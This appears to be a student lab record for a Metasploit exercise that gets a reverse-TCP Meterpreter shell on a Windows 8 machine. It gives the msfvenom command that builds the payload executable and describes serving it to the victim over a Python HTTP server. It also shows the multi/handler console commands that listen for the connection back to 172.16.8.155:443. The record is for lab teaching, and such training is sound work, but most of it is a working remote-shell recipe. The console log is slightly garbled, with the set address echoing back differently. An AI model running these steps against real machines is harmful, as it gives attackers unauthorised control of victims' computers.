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Ex. No.: 8 Date:18-10-2024

METASPLOIT

Aim:

To set up Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely.

Algorithm:

- 1. Generate payload to be inserted into the remote machine
- 2. Set the LHOST and it's port number
- 3. Open msfconsole.
- 4. Use exploit/multi/handler
- 5. Establish reverse_tcp with the remote windows 8 machine.
- 6. Run SimpleHTTPServer with port number 8000.
- 7. Open the web browser in Windows 8 machine and type http://172.16.8.155:8000
- 8. In KaliLinux, type sysinfo to get the information about Windows 8 machine
- 9. Create a new directory using mkdir command.
- 10. Delete the created directory.

Output:

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.8.155 LPORT=443 -f exe > /root/hi.exe

- [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
- [-] No arch selected, selecting arch: x86 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 341 bytes

Final size of exe file: 73802 bytes

root@kali:~# msfconsole

- [-] ***Rting the Metasploit Framework console...\
- [-] * WARNING: No database support: could not connect to server: Connection refused

Is the server running on host "localhost" (::1) and accepting

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TCP/IP connections on port 5432?

```
could not connect to server: Connection refused
```

Is the server running on host "localhost" (127.0.0.1) and accepting

TCP/IP connections on port 5432?

[-] ***

```
=[ metasploit v5.0.41-dev ]
+ -- --=[ 1914 exploits - 1074 auxiliary - 330 post ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops ]
+ -- --=[ 4 evasion ]
```

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

```
Name Current Setting Required Description
```

Payload options (windows/meterpreter/reverse_tcp):

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Name Current Setting Required Description
EXITFUNC process yes Exit technique (Accepted: ", seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name

0 Wildcard Target
msf5 exploit(multi/handler) > set LHOST 172.16.8.155
LHOST => 172.16.8.156
msf5 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 172.16.8.155:443

Result: Thus, the setup of Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely has been executed successfully.

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